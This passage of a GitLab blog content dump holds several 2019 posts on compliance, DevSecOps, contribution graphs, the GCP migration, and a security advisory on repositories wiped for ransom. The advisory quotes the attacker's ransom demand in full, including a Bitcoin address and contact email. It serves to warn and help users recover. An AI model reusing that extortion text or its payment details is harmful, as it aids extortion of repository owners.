pipelines.\n\nWe are also embarking on making package management more secure and auditable for the users of packages with a [Dependency Proxy](/direction/package/#dependency-proxy. GitLab users will be able to block and delay packages that are suspect and trace where vulnerable packages were used. This will increase performance, cost efficiency, and the stability of your tests and deployments.\n\n\"It is good for users that Microsoft is now innovating with new features for GitHub after the acquisition,” said Sid. “GitLab already offers package registries, along with features in [all 10 stages of a DevOps lifecycle](/stages-devops-lifecycle/), including deployment, security, and monitoring. We have seen that customers definitely value the benefits of a single application for DevOps.”\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/sexHPOVbAoA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPhoto by [Leone Venter](https://unsplash.com/photos/mTkXSSScrzw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[736],{"slug":29528,"featured":6,"template":678},"github-adds-package-registry","content:en-us:blog:github-adds-package-registry.yml","Github Adds Package Registry","en-us/blog/github-adds-package-registry.yml","en-us/blog/github-adds-package-registry",{"_path":29534,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29535,"content":29541,"config":29546,"_id":29548,"_type":16,"title":29549,"_source":17,"_file":29550,"_stem":29551,"_extension":20},"/en-us/blog/choosing-a-compliance-framework",{"title":29536,"description":29537,"ogTitle":29536,"ogDescription":29537,"noIndex":6,"ogImage":29538,"ogUrl":29539,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29539,"schema":29540},"How GitLab went about choosing the right compliance framework","Independent vs aggregate? Determining the most effective security controls approach for any organization has many considerations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680591/Blog/Hero%20Images/compliance-frameworks.jpg","https://about.gitlab.com/blog/choosing-a-compliance-framework","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab went about choosing the right compliance framework\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeff Burrows\"}],\n        \"datePublished\": \"2019-05-07\",\n      }",{"title":29536,"description":29537,"authors":29542,"heroImage":29538,"date":29543,"body":29544,"category":674,"tags":29545},[28679],"2019-05-07","\n\nIn most cases, information security compliance is a notoriously difficult area for smaller companies to get started with. Generally, when a company is large enough to have compliance needs, that company has already established a lot of its operating processes and configured the infrastructure.\n\nIn GitLab's case, we started our formalized compliance program towards the end of our [Series C funding round](/blog/gitlab-raises-20-million-to-complete-devops/), which is actually earlier than a lot of companies our size. This timing afforded GitLab a terrific opportunity to build out our compliance program. We were able to take a step back and consider the most efficient use of our personnel without an immediate need for external compliance certifications.\n\n## Defining security controls: Independent or aggregate?\n\nWhen it was time to identify security controls that would match up with processes and structure, we were faced with the decision a lot of small companies encounter: Do we treat each information security framework we have an interest in – or need for – independently, or do we try and aggregate these controls in a way that gives us natural alignment to underlying frameworks?\n\nBy interacting with industry frameworks (e.g. [ISO](https://www.iso.org/home.html), [SOC](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/sorhome.html), [PCI](https://www.pcisecuritystandards.org/), etc.) individually we would have clarity with each individual control in terms of scope and applicability. But we would have been reaching out to our internal teams with hundreds of individual controls, many of which overlap. An example of this overlap is that PCI DSS V3.2.1, SOC2 Common Controls, and ISO 27001 all require business continuity plans. With an individualized approach to security frameworks, we would be treating each business continuity plan separately and would run the risk of making multiple requests to GitLab teams in order to satisfy all requirements.\n\nBy adopting an “umbrella framework” approach and leveraging an open source option (i.e. [Adobe’s CCF](https://blogs.adobe.com/security/2017/05/open-source-ccf.html)), we’ve been able to build in efficiency and ensure that when we interact with our internal teams, we are not requesting the same information in multiple formats. In the above PCI DSS V3.2.1, SOC2 Common Controls, and ISO 27001 example, choosing an umbrella framework means evaluating all the individual requirements collectively and creating a control statement that fulfills the needs of each of the controls simultaneously. This creates an overarching security control that allows us to make a single request for business continuity information to each GitLab team and eliminates having to collect slightly different information depending on the framework we are working with at any given time. By being thoughtful about what is asked for, the compliance group gains internal credibility. The more agile and efficient we can enable our teams to be, the more productive GitLab becomes.\n\n## The GitLab approach\n\nWe’ve already begun adapting Adobe's framework to satisfy our own needs. This unified framework approach has allowed us to quickly create security controls and start building out the supporting guidance and policy information. And we’ve been able to stand up a comprehensive compliance program – in months, not years.\n\nAs we spend more time customizing the Adobe CCF open source framework and aligning the compliance process to the GitLab product workflow, we plan to share what we’ve created and what we’ve learned along the way through a series of blog posts. We’ll also make some of these resources available to our customers in the hopes that it can help other organizations jump start their own compliance journeys.\n\nDo you have thoughts on the approach GitLab is taking with our compliance framework adoption?  Or maybe you have feedback on particular compliance needs you’d like to see GitLab address going forward? Share your thoughts with us below; we’d love to hear from you!\n\nCover image by [Erik Witsoe](https://unsplash.com/@ewitsoe) on [Unsplash](https://unsplash.com/photos/mODxn7mOzms)\n{: .note}\n",[754,676,674],{"slug":29547,"featured":6,"template":678},"choosing-a-compliance-framework","content:en-us:blog:choosing-a-compliance-framework.yml","Choosing A Compliance Framework","en-us/blog/choosing-a-compliance-framework.yml","en-us/blog/choosing-a-compliance-framework",{"_path":29553,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29554,"content":29560,"config":29564,"_id":29566,"_type":16,"title":29567,"_source":17,"_file":29568,"_stem":29569,"_extension":20},"/en-us/blog/how-do-you-contribute",{"title":29555,"description":29556,"ogTitle":29555,"ogDescription":29556,"noIndex":6,"ogImage":29557,"ogUrl":29558,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29558,"schema":29559},"How do you contribute?","Your contribution graph captures a moment in time like few things can, and we want to celebrate it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679742/Blog/Hero%20Images/contribute-social-cover.png","https://about.gitlab.com/blog/how-do-you-contribute","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How do you contribute?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2019-05-07\",\n      }",{"title":29555,"description":29556,"authors":29561,"heroImage":29557,"date":29543,"body":29562,"category":813,"tags":29563},[22017],"\n\nContribution graphs tell the story of your year.\n\nEspecially when you’re a daily user, they have a funny way of capturing not only professional milestones, but personal ones too. Vacations, sabbaticals, and family leave are all captured by characteristic little gray squares where no work is done. Equally telling are the times when work overflows into the weekends, or when it forms those satisfyingly deep navy streaks for consecutive days with over 30 commits each.\n\n![Inner narration when I look at my contribution graph](https://about.gitlab.com/images/blogimages/contribute-social-launch/evh_contribution_graph.png){: .shadow.center.medium}\n*\u003Csmall>\u003Ccenter>Some inner narration when I look at my contribution graph\u003C/center>\u003C/small>*\n\nUsing GitLab, you don’t just have to commit code in order to get the visual feedback for all of your hard work. Actions like commenting, opening, and closing issues and merge requests are also included. Your contribution graph is as unique as your fingerprint. It captures a moment in time like few things can, and we want to celebrate it. Check out some examples from the GitLab team:\n\n#### Tackling weekend side projects 🙌\n\n![Weekend side projects](https://about.gitlab.com/images/blogimages/contribute-social-launch/brendan-activity.png){: .shadow.center.medium}\n\n\n#### Managing a team 🗣\n\n![Managing a team](https://about.gitlab.com/images/blogimages/contribute-social-launch/lee-activity.png){: .shadow.center.medium}\n\n\n#### Going on parental leave 🤗\n\n![Parental leave](https://about.gitlab.com/images/blogimages/contribute-social-launch/brittany-activity.png){: .shadow.center.medium}\n\n\n#### Producing GitLab videos 🎥\n\n![Producing GitLab videos](https://about.gitlab.com/images/blogimages/contribute-social-launch/aricka-activity.png){: .shadow.center.medium}\n\n\n#### Cultivating perfect weekends 🙏\n\n![Cultivating perfect weekends](https://about.gitlab.com/images/blogimages/contribute-social-launch/sean-activity.png){: .shadow.center.medium}\n\n\n#### Managing this blog! 📝\n\n![Managing this blog](https://about.gitlab.com/images/blogimages/contribute-social-launch/rebecca-activity.png){: .shadow.center.medium}\n\n\n#### Starting a new job 💜\n\n![Starting a new job](https://about.gitlab.com/images/blogimages/contribute-social-launch/jeff-activity.png){: .shadow.center.medium}\n\n\n#### Advancing in your role 💪\n\n![Adjusting to a new role](https://about.gitlab.com/images/blogimages/contribute-social-launch/emilie-activity.png){: .shadow.center.medium}\n\n\n#### Flexing your skills 💻\n\n![Mastering your craft](https://about.gitlab.com/images/blogimages/contribute-social-launch/taurie-activity.png){: .shadow.center.medium}\n\n\n## Everyone can #contribute\n\nAt GitLab, we believe that everyone can contribute, and that means you! Whether you build software yourself or enable others who do; whether you write code, contracts, or novels; whether you manage a team at work or in your own household, your tasks and timelines can find a home in GitLab.\n\nSo tell us about your contributions! While we’re at GitLab [Contribute](/events/gitlab-contribute/) in New Orleans, we want to hear about all the ways that you contribute. Tweet a screenshot of your activity using #contribute, and tell us about your year as represented by your GitLab profile. Tweeting with the hashtag will enter you to win a swag bag to deck you out in GitLab gear from head to toe 😍\n\nWe can't wait to hear from you! Tweet us [@gitlab](https://twitter.com/gitlab).\n",[267],{"slug":29565,"featured":6,"template":678},"how-do-you-contribute","content:en-us:blog:how-do-you-contribute.yml","How Do You Contribute","en-us/blog/how-do-you-contribute.yml","en-us/blog/how-do-you-contribute",{"_path":29571,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29572,"content":29578,"config":29583,"_id":29585,"_type":16,"title":29586,"_source":17,"_file":29587,"_stem":29588,"_extension":20},"/en-us/blog/secure-containers-devops",{"title":29573,"description":29574,"ogTitle":29573,"ogDescription":29574,"noIndex":6,"ogImage":29575,"ogUrl":29576,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29576,"schema":29577},"A shift left strategy for the cloud","Protect your software in the cloud by bringing vulnerability testing closer to remediation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670146/Blog/Hero%20Images/containers-for-five-things-kubernetes-blog-post.jpg","https://about.gitlab.com/blog/secure-containers-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A shift left strategy for the cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"},{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2019-05-03\",\n      }",{"title":29573,"description":29574,"authors":29579,"heroImage":29575,"date":29580,"body":29581,"category":8943,"tags":29582},[12479,22656],"2019-05-03","\n\nBusinesses continually adopt new technologies to become more efficient and\neffective. This move toward efficiency in IT has brought a “shift left” to\n[application security](/topics/devsecops/) testing. Methodologies like DevOps and Agile work with iterative\nand [MVP](https://www.agilealliance.org/glossary/mvp/) states, meaning that apps are constantly updating and constantly need\ntesting and retesting – sometimes daily or multiple times per day.\n\n[Serverless](/topics/serverless/), cloud native, containers, and Kubernetes are changing how apps are\ndeployed and managed. This has expanded the attack surface in the form of new\nlayers of complexity and more settings and updates to manage, which also means\nmore room for manual error. In a container, this includes the image, registry,\nand east-west traffic, while in Kubernetes, this includes access and\nauthentication, runtime resources, and network policies. Traffic between apps\nin a container does not cross perimeter network security, but should still be\nmonitored for malicious traffic between apps and the resources they use.\n\n## Your cloud-based ecosystem doesn’t provide comprehensive security\n\nCloud providers, orchestrators, and other partners don’t provide a full\nspectrum of security capabilities out of the box – even with their help, your\nteam must create and maintain their own security policies and continuously\nmonitor your ecosystem for any unusual or malicious activity. While network\nsegmentation and perimeter security for your guest VMs or containers might be\navailable, your engineer will typically need to configure that.\n\nThe figure below outlines the responsibilities of cloud providers, security\nvendors, and end-users, across apps, hosts, networks, and foundation services.\nThe responsibilities in purple and orange are _primarily_ the responsibility of\nthe cloud provider and security vendors, but our engineers tell us that they\nare involved in every cell of this chart in some way.\n\n![Security responsibilities in your cloud ecosystem](https://about.gitlab.com/images/blogimages/container-security-responsibilities.png){: .shadow.medium.center}\n\n## Treat security as a critical outcome, not a department\n\nSecurity should be top of mind for everyone in the business, not just your\nsecurity team. While the complexity of your infrastructure builds, new tools\nand capabilities give opportunity for everyone to contribute to the security\neffort. Here are a few areas of change that will help you rally the masses in\ndefense of your business:\n- Cloud providers are beginning to offer more security capabilities.\n- System updates – and staying current with your patches – could very much save the day.\n- Automating your processes could make or break the business. While guidelines\nfor humans are necessary, you need automation to abstract the complexity of\nyour infrastructure. Soon, automated capabilities to translate plain-language\npolicies into the growing multitude of settings will make their way into the\nmarket.\n\n### Take a Zero Trust approach to your applications\n\nThe foundational idea of [Zero Trust](/blog/evolution-of-zero-trust/) is simple: Trust nothing and always assume\nthe bad guys are trying to get in. It’s time to take your security beyond the\ntraditional network-perimeter approach and extend Zero Trust from data,\nnetwork, and endpoints to your application infrastructure. It also wouldn’t\nhurt to protect the software development lifecycle (SDLC) to ensure the integrity of your software is not\ncompromised, given all of the automation in a typical DevOps toolchain.\n\n## Three key principles to secure next-generation IT\n\n### 1. Enhance your security practices with DevSecOps\n\nAs you iterate on software, dovetail security into each iteration through [DevSecOps](/solutions/security-compliance/) – not simply\nto test security for the entire history of the app, but to test the impact of\neach change made in every update. Retrofitting your apps and software for\nsecure functionality will slow down your release cycle. Marrying the two\nwill save both time in the present, and heartache in the future when\nyour software is inevitably attacked. Unfortunately, traditional methods don’t\nfit the bill when it comes to DevOps; it’s too expensive and too robust to\nscan every piece of code manually. With a [shift left](/topics/ci-cd/shift-left-devops/) strategy, security scans can be automated into every\ncode commit – meaning you no longer need to choose between risk, cost, and\nagility.\n\n[Arm your developers to resolve vulnerabilities early in the SDLC, leaving your\nsecurity team free to focus on exceptions](/blog/speed-secure-software-delivery-devsecops/).\nWith GitLab, a [review app](https://docs.gitlab.com/ee/ci/review_apps/) is spun up at code commit – before the\nindividual developer’s code is merged to the master. The developer can see and\ntest the working application, with test results highlighting the impact of the\ncode change. [Dynamic application security testing](https://docs.gitlab.com/ee/user/application_security/dast/) (DAST)\ncan then scan the review app, and the developer can quickly iterate to resolve\nvulnerabilities reported in their pipeline report.\n\n![View dynamic application security testing within GitLab.](https://about.gitlab.com/images/blogimages/dast-example.png){: .shadow.medium.center}\n[Learn more about DAST in GitLab's product documentation.](https://docs.gitlab.com/ee/user/application_security/dast/)\n\n### 2. Secure horizontally before digging deeper\n\nWe often fall into the trap of going deep on a single aspect of security –\nleaving other obvious aspects completely exposed. For instance, you may\nuse a powerful scanner for your mission-critical apps but neglect to scan\nothers; or, you may choose to save resources by not scanning your third-party\ncode, with the assumption that its widespread use means it’s checked out.\n\nAvoid focusing so much on application security that you forget about container\nscanning, orchestrators, and access management.\n\n### 3. Simplicity and integration wins\n\nThe key is to bring security scanning to the development process by having a\ntool like GitLab that allows developers to stay within the same platform or\ninterface to both code and scan. Making the process easier increases the\nlikelihood that it’ll get done – and making the process automatic within the\ntool ensures that it will happen every time there is a code update.\n\nReady to deliver secure apps with every update? [Just commit.](/solutions/security-compliance/)\n{: .alert .alert-gitlab-purple .text-center}\n\nCover image by [Frank McKenna](https://unsplash.com/@frankiefoto) on [Unsplash](https://unsplash.com/photos/tjX_sniNzgQ?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3949,4103,2509,674],{"slug":29584,"featured":6,"template":678},"secure-containers-devops","content:en-us:blog:secure-containers-devops.yml","Secure Containers Devops","en-us/blog/secure-containers-devops.yml","en-us/blog/secure-containers-devops",{"_path":29590,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29591,"content":29596,"config":29600,"_id":29602,"_type":16,"title":29603,"_source":17,"_file":29604,"_stem":29605,"_extension":20},"/en-us/blog/suspicious-git-activity-security-update",{"title":29592,"description":29593,"ogTitle":29592,"ogDescription":29593,"noIndex":6,"ogImage":17364,"ogUrl":29594,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29594,"schema":29595},"Repositories held for ransom by using valid credentials","We’ve learned of suspicious Git activity on GitLab. Affected users have been notified.","https://about.gitlab.com/blog/suspicious-git-activity-security-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Repositories held for ransom by using valid credentials\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2019-05-03\",\n      }",{"title":29592,"description":29593,"authors":29597,"heroImage":17364,"date":29580,"body":29598,"category":299,"tags":29599},[711],"\nWe've learned of suspicious Git activity using valid credentials (a password or personal access token) on GitLab. We identified the source based on a support ticket filed by [Stefan Gabos](https://security.stackexchange.com/questions/209448/gitlab-account-hacked-and-repo-wiped) yesterday, and immediately began investigating the issue. This is a user insecure practices issue, and is not specific to GitLab, as other git repositories are affected by this as well. We are issuing this advisory to all git repo users so that we can help heighten awareness of this issue and help git's user community protect their own data.\n\nThe breaches seem to rely on the attacker having knowledge of the affected users' passwords in order [to wipe their Git repositories and hold them for ransom](https://www.zdnet.com/article/a-hacker-is-wiping-git-repositories-and-asking-for-a-ransom/). We have notified affected GitLab users and are working as quickly as possible to resolve the issue.\n\n> *“As a result of our investigation, we have strong evidence that the compromised accounts have account passwords being stored in plaintext on a deployment of a related repository. We strongly encourage the use of password management tools to store passwords in a more secure manner, and enabling two-factor authentication wherever possible, both of which would have prevented this issue.”*\n> *- Kathy Wang, Senior Director, Security*\n\n## How you can protect yourself\n\nThese breaches seemed to rely on the attacker having knowledge of the affected user’s password. We highly recommend strong passwords and unique passwords for everything (using a good password manager helps manage this). We strongly recommend all GitLab users enable [two-factor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) and use [SSH keys](https://docs.gitlab.com/ee/user/ssh.html) to strengthen your GitLab account.\n\nYou may further protect your groups by applying the [“Require all users in this group to setup Two-factor authentication”](https://docs.gitlab.com/ee/security/two_factor_authentication.html#enforcing-2fa-for-all-users-in-a-group) setting in the Group settings under “Permissions, LFS, 2FA”.\n\nIn this case, it can help to prevent a breach.\n\n## Mitigation\n\nWe believe that no data has been lost, unless the owner/maintainer of the repository did not have a local copy and the GitLab copy was the only one. In some cases, repository files were changed. After updating account credentials, we recommend making use of `git` commands to restore your repository to its previous state. If you have a full current copy of the repository on your computer, you can force push to the current HEAD of your local copy using:\n\n`git push origin HEAD:master --force`\n\nOtherwise, you can still clone the repository and make use of:\n\n- [git reflog](https://git-scm.com/docs/git-reflog) or\n- [git fsck](https://git-scm.com/docs/git-fsck) to find your last commit and change the HEAD\n\nAs this is related to the use of `git`, GitLab does not have its own documentation or examples, but we have found these articles that may be of use:\n\n- [Git documentation](https://git-scm.com/doc)\n- [How to move HEAD](https://stackoverflow.com/questions/34519665/how-to-move-head-back-to-a-previous-location-detached-head-undo-commits/34519716#34519716)\n- [Use git fsck to recover a deleted branch](https://opensolitude.com/2012/02/29/recover-git-branch.html)\n\n## Details\n\nOn May 2, 2019 at approximately 10:00pm GMT GitLab received the first report of a repository being wiped with a single file left in place that demanded a bitcoin ransom be paid for the return of data:\n\n```\nTo recover your lost data and avoid leaking it: Send us 0.1 Bitcoin (BTC) to our Bitcoin address 1ES14c7qLb5CYhLMUekctxLgc1FV2Ti9DA and contact us by Email at admin@gitsbackup.com with your Git login and a Proof of Payment. If you are unsure if we have your data, contact us and we will send you a proof. Your code is downloaded and backed up on our servers. If we dont receive your payment in the next 10 Days, we will make your code public or use them otherwise.\n```\n\nWe began to receive multiple reports, and were able to search through logs and repositories to determine the extent of the impact. A few repositories had the ransom threat left behind, some repositories were simply wiped, and a few accounts appeared to be successfully accessed by the attacker but not modified. All total, 131 users and 163 repositories were, at a minimum, accessed by the attacker. Affected accounts were temporarily disabled, and the owners were notified.\n\nWe noticed the following items in reference to this incident:\n\n- The source IP of the attacks came from the 185.234.216.0/24 range.\n- The attacker appeared to use some type of “update script” in an attempt to perform the accesses, and the nature of the individual accesses strongly suggested the use of plaintext passwords that were locally stored.\n- Virtually all of the repositories were private repositories.\n- None of the accounts impacted had two-factor authentication enabled.\n\nSince not all of the accesses resulted in both a repository wipe and a ransom note, this suggests that the attacker’s update script was possibly not working properly. This could be a result of a generic script being used against GitLab as well as GitHub and Bitbucket.\n\n## Conclusion\n\nWe are continuing our investigation, and if we uncover more details that we feel will benefit our users and the security community at large, we will communicate that information as quickly and as transparently as possible. We are constantly looking for ways to improve our security and would appreciate any comments and questions you might have.\n",[674],{"slug":29601,"featured":6,"template":678},"suspicious-git-activity-security-update","content:en-us:blog:suspicious-git-activity-security-update.yml","Suspicious Git Activity Security Update","en-us/blog/suspicious-git-activity-security-update.yml","en-us/blog/suspicious-git-activity-security-update",{"_path":29607,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29608,"content":29614,"config":29619,"_id":29621,"_type":16,"title":29622,"_source":17,"_file":29623,"_stem":29624,"_extension":20},"/en-us/blog/gitlab-journey-from-azure-to-gcp",{"title":29609,"description":29610,"ogTitle":29609,"ogDescription":29610,"noIndex":6,"ogImage":29611,"ogUrl":29612,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29612,"schema":29613},"GitLab’s journey from Azure to GCP","GitLab Staff Engineer Andrew Newdigate shares how we completed our migration to Google Cloud Platform, and how we overcame challenges along the way.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671280/Blog/Hero%20Images/gitlab-gke-integration-cover.png","https://about.gitlab.com/blog/gitlab-journey-from-azure-to-gcp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s journey from Azure to GCP\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-05-02\",\n      }",{"title":29609,"description":29610,"authors":29615,"heroImage":29611,"date":29616,"body":29617,"category":299,"tags":29618},[18462],"2019-05-02","\n\nLast June, we had to face the facts: Our SaaS infrastructure for GitLab.com was not ready for mission-critical workloads, error rates were just too high, and availability was too low. To address these challenges, we decided to migrate from Azure to Google Cloud Platform (GCP) and document the journey publicly, end to end. A lot has happened since [we first talked about moving to GCP](/blog/moving-to-gcp/), and we’re excited to share the results.\n\nAt [Google Cloud Next '19](https://cloud.withgoogle.com/next/sf), GitLab Staff Engineer [Andrew Newdigate](/company/team/#suprememoocow) presented our migration experience and the steps we took to make it happen. Migrations seldom go as planned but we hope that others can learn from the process. Check out the video to learn more about our journey from Azure to GCP, and find some of our key takeaways below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Ve_9mbJHPXQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThere were several reasons why we decided on the Google Cloud Platform. One top priority was that we wanted GitLab.com to be suitable for mission-critical workloads, and GCP offered the performance and consistency we needed. A second reason is that we believe [Kubernetes](/solutions/kubernetes/) is the future, especially with so much development geared toward [cloud native](/topics/cloud-native/). Another priority was price. For all of these reasons and more, Google was the clear choice as a partner going forward.\n\nOur company values are important to us and we apply them to all aspects of our work and our migration from Azure to GCP is no exception.\n\n## Three core values guided this project:\n\n###  Efficiency\n\nAt GitLab, [we love boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions). The goal of the project was really simple: Move GitLab.com to GCP. We wanted to find the least complex and most straightforward solution to achieve this goal.\n\n### Iteration\n\nWe focus on shipping the [minimum viable change](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) and work in steps. When we practice iteration, we get feedback faster, we’re able to course-correct, and we reduce cycle times.\n\n### Transparency\n\nWe work [publicly by default](https://handbook.gitlab.com/handbook/values/#public-by-default), which is why we made [this project accessible to everyone](https://gitlab.com/gitlab-com/migration/) and [documented our progress](https://docs.google.com/document/d/1p3Brri44_SKyakViKB-LGWCmCcwILW6z2A8a8eWFyFc/edit?usp=sharing) along the way.\n\n## How we did it\n\nLooking for the simplest solution, we considered whether we could just stop the whole site: Copy all the data from Azure to GCP, switch the DNS over to point to GCP, and then start everything up again. The problem was that we had too much data to do this within a reasonable time frame. Once we shut down the site, we'd need to copy all the data between two cloud providers, and once the copy was complete, we'd need to verify all the data (about half a petabyte) and make sure it was correct. This plan meant that GitLab.com could be down for _several days_, and considering that thousands and thousands of people rely on GitLab on a daily basis, this wouldn’t work.\n\n![GitLab Geo diagram](https://about.gitlab.com/images/gitlab_ee/gitlab_geo_diagram_migrate.png){: .medium.center}\n\nWe went back to the drawing board. We were working on another feature called [Geo](https://docs.gitlab.com/ee/administration/geo/index.html) which allows for full, read-only mirrors of GitLab instances. Besides browsing the GitLab UI, Geo instances can be used for cloning and fetching projects as well as for a planned failover to migrate GitLab instances.\n\nWe hoped that by taking advantage of the replication capabilities we were building for Geo, we could migrate the entire GitLab.com site to a secondary instance in GCP. The process might have taken weeks or months, but thankfully the site would be available throughout the synchronization process. Once all the data was synchronized to GCP, we could verify it and make sure it was correct. Finally, we could just promote the GCP environment and make it our new primary.\n\nThis new plan had many advantages over the first one. Obviously, GitLab.com would be up during the synchronization and we would only have a short period of downtime, maybe an hour or two, rather than weeks. We could do full QA, load testing, and verify all data before the failover.\n\n>\"If it could work for us on GitLab.com, it would pretty much work for any other customer who wanted to use Geo. We could be confident in that.\" - Andrew Newdigate, Infrastructure Architect at GitLab\n\n![Helm charts](https://about.gitlab.com/images/blogimages/gitlab-journey-from-azure-to-gcp/helm_charts.png){: .medium.center}\n\nWe were also working on another major project to install and run GitLab on Kubernetes. Much like Omnibus is a package installer for installing GitLab _outside_ a Kubernetes environment, GitLab’s helm charts [install GitLab inside a Kubernetes environment](https://docs.gitlab.com/charts/). The plan evolved to use helm charts to install GitLab in GCP while still using Geo for replication.\n\nIt became apparent there were problems with this approach as we went along:\n\n*   The changes we needed to make to the application to allow it to become fully cloud native were extensive and required major work.\n*   The timeframes of the GCP migration and cloud native projects wouldn’t allow us to carry them out simultaneously.\n\nWe ultimately decided it would be better to postpone the move to Kubernetes until after migration to GCP.\n\nWe went to the next iteration and decided to use Omnibus to provision the new environment. We also migrated all file artifacts, including CI Artifacts, Traces (CI log files), file attachments, LFS objects and other file uploads to [Google Cloud Storage](https://cloud.google.com/storage/) (GCS), moving about 200TB of data off our Azure-based file servers into GCS. Doing this reduced the risk and the scale of the Geo migration.\n\nThe steps for the migration were now fairly straightforward:\n\n*   Set up a Geo secondary in GCP.\n*   Provision the new environment with Omnibus.\n*   Replicate all the data from GitLab.com in Azure to GCP.\n*   Test the new environment and verify all the data is correct.\n*   Failover to the GCP environment and promote it to primary.\n\nThere was only one major unknown left in this plan: The actual failover operation itself.\n\nUnfortunately, **Geo didn’t support a failover operation**, and nobody knew exactly how to do it. It was essential that we executed this perfectly, so we used our value of iteration to get it right.\n\n![GitLab failover procedure issue template](https://about.gitlab.com/images/blogimages/gitlab-journey-from-azure-to-gcp/issue_template.png){: .medium.center}\n\n*   We set up the failover procedure as an issue template in the GitLab migration issue tracker with each step as a checklist item.\n*   Every time we practiced, we created a new issue from the template and followed the checklist step by step.\n*   After each failover, we would review and consider how we could improve the process.\n*   We would submit these changes as merge requests to the issue template.\n\nThe merge requests were thoroughly reviewed before being approved by the team and through this very tight, iterative feedback loop, the checklist grew to cover every possible scenario we experienced. In the beginning, things almost never went according to plan, but with each iteration, we got better. In the end, there were _over 140 changes_ in that document before we felt confident enough to move forward with the failover. We let Google know and an amazing team was assembled to help us. The failover went smoothly and we didn't experience any major problems.\n\n## Results\n\nGoing back to the goals of the project: Did we make GitLab.com suitable for mission-critical workloads? Firstly, let's consider availability on GitLab.com.\n\n![GitLab Pingdom chart](https://about.gitlab.com/images/blogimages/gitlab-journey-from-azure-to-gcp/errors_per_day.png){: .shadow.medium.center}\n\nThis [Pingdom](https://www.pingdom.com/) graph shows the number of errors we saw per day, first in Azure and then in GCP. The average for the pre-migration period was 8.2 errors per day, while post-migration it’s down to **just one error a day**.\n\n![GitLab availability](https://about.gitlab.com/images/blogimages/gitlab-journey-from-azure-to-gcp/gitlab_availability.png){: .shadow.medium.center}\n\nLeading up to the migration, our availability was 99.61 percent. [In our October update](/blog/gitlab-com-stability-post-gcp-migration/) we were at 99.88 percent. As of April 2019, we've improved to **99.93 percent** and are on track to reach our target of 99.95 percent availability.\n\n![GitLab latency chart](https://about.gitlab.com/images/blogimages/gitlab-journey-from-azure-to-gcp/latency.png){: .shadow.medium.center}\n\nThis latency histogram compares the site performance of GitLab.com before and after moving to GCP. We took data for one week before the migration and one week after the migration. The GCP line shows us that the latencies in GCP drop off quicker, which means GitLab.com is not only faster, it’s more predictable, with fewer outlier values taking an unacceptably long time.\n\n[GitLab users have also noticed the increased stability](https://www.reddit.com/r/gitlab/comments/9f71nq/thanks_gitlab_team_for_improving_the_stability_of/), which is an encouraging sign that we've taken steps in the right direction.\n\nIt's important to note that these improvements can't be attributed to the migration alone – we explore some other contributing factors in [our October update](/blog/gitlab-com-stability-post-gcp-migration/).\n\n\n## What we learned\n\n* Having this amount of visibility into a large-scale migration project is pretty unusual, but it gave us an opportunity to put our values to the test. By opening our documentation to the world, we can collaborate and help others on their own migration journey.\n*  Working by our values gave us the ability to get the quick feedback we needed. Even though we weren’t able to use GitLab on Kubernetes during the migration, we course-corrected and came up with the right solutions.\n* We were able to see exactly how Google developers work and got an up-close look into how one of the fastest-moving companies in the world actually manages its [DevOps lifecycle](/topics/devops/). This knowledge will have a long-term impact on GitLab and how we support these organizations in the future.\n\nIf you would like to learn more about how we migrated to GCP, feel free to take a look at the **[issue tracker](https://gitlab.com/gitlab-com/migration/)** and our **[project documentation](http://bit.ly/2UrlU4s)**.\n",[923,3949,3049,2509],{"slug":29620,"featured":6,"template":678},"gitlab-journey-from-azure-to-gcp","content:en-us:blog:gitlab-journey-from-azure-to-gcp.yml","Gitlab Journey From Azure To 